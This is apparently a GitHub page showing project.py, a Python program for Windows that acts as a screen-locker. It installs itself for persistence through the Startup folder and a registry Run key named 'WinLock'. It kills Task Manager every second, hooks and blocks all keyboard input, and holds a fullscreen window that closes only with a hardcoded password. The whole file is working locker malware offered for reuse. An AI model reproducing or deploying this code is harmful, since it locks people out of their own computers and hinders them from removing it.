-
Notifications
You must be signed in to change notification settings - Fork 1
/
project.py
153 lines (137 loc) · 4.85 KB
/
project.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
from tkinter import *
import getpass
import os
from threading import Thread
import pythoncom, pyHook
import subprocess
from time import sleep
import winreg as _winreg
'''
Put your own password to the password variable
'''
password = "1234567890"
si = subprocess.STARTUPINFO()
si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
def kill_tsk(event=None):
## just as the task manager starts it will get killed by the function
subprocess.call("taskkill /F /IM Taskmgr.exe", startupinfo=si)
def kill_tskmgr(event=None):
while True:
thread_kill = Thread(target=kill_tsk)
thread_kill.start()
sleep(1)
USER_NAME = getpass.getuser()
def add_to_startup(file_path=""):
# adding the file to startup
if file_path == "":
file_path = os.path.dirname(os.path.realpath(__file__))
bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
with open(bat_path + '\\' + "project.bat", "w+") as bat_file:
bat_file.write(r'%s\project.py' % file_path)
key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Run')
_winreg.SetValueEx(key,'WinLock',1,_winreg.REG_SZ,r'%s\project.exe' % file_path)
key.Close()
add_to_startup()
def copy(event=None):
text = my_string.get()
my_string.set("")
top.clipboard_append(text)
top.update()
def check(event=None):
text = my_string.get()
my_string.set("")
if text == password:
os._exit(0)
def qkey(event=None):
text = my_string.get()+'1'
my_string.set(text)
def wkey(event=None):
text = my_string.get()+'2'
my_string.set(text)
def ekey(event=None):
text = my_string.get()+'3'
my_string.set(text)
def rkey(event=None):
text = my_string.get()+'4'
my_string.set(text)
def tkey(event=None):
text = my_string.get()+'5'
my_string.set(text)
def ykey(event=None):
text = my_string.get()+'6'
my_string.set(text)
def ukey(event=None):
text = my_string.get()+'7'
my_string.set(text)
def ikey(event=None):
text = my_string.get()+'8'
my_string.set(text)
def okey(event=None):
text = my_string.get()+'9'
my_string.set(text)
def pkey(event=None):
text = my_string.get()+'0'
my_string.set(text)
def uMad(event=None):
return False
def block_key(event=None):
hm = pyHook.HookManager()
hm.KeyAll = uMad
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
while(True):
top = Tk()
top.attributes("-fullscreen", True)
top.title("Project")
fm = Frame(top, borderwidth=10)
but = Frame(top, borderwidth=10)
var = Label(top, text="This is the Project", anchor=N)
var.pack()
send_button = Button(but, text="Copy to Clipboard", command=copy)
send_button.pack(side=TOP, expand=YES)
my_string = StringVar() # For the string to be copied.
my_string.set("Type your Text here.") # To navigate through past clipboard.
# Following will contain the text.
entry_field = Entry(fm, textvariable=my_string)
entry_field.bind("<Return>", check)
entry_field.pack(side=LEFT)
enter_button = Button(fm, text="Enter to Exit", command=check)
enter_button.pack(side=BOTTOM, expand=YES)
but.pack(side=BOTTOM)
fm.pack(side=BOTTOM)
keybrd = Frame(top)
keyboard1 = Frame(keybrd)
keyboard2 = Frame(keybrd)
keyboard3 = Frame(keybrd)
keyboard4 = Frame(keybrd)
q = Button(keyboard1, text="1", command=qkey)
q.pack(side=LEFT,expand=True)
w = Button(keyboard1, text="2", command=wkey)
w.pack(expand=True)
e = Button(keyboard1, text="3", command=ekey)
e.pack(side=RIGHT,expand=True)
r = Button(keyboard2, text="4", command=rkey)
r.pack(side=LEFT,expand=True)
t = Button(keyboard2, text="5", command=tkey)
t.pack(expand=True)
y = Button(keyboard2, text="6", command=ykey)
y.pack(side=RIGHT,expand=True)
u = Button(keyboard3, text="7", command=ukey)
u.pack(side=LEFT,expand=True)
i = Button(keyboard3, text="8", command=ikey)
i.pack(expand=True)
o = Button(keyboard3, text="9", command=okey)
o.pack(side=RIGHT,expand=True)
p = Button(keyboard4, text="0", command=pkey)
p.pack( expand=True)
keyboard4.pack(side=BOTTOM)
keyboard3.pack(side=BOTTOM)
keyboard2.pack(side=BOTTOM)
keyboard1.pack(side=BOTTOM)
keybrd.pack()
keyboard_thread = Thread(target=block_key)
keyboard_thread.start()
taskmanager_thread = Thread(target=kill_tskmgr)
taskmanager_thread.start()
mainloop() # Starts GUI execution.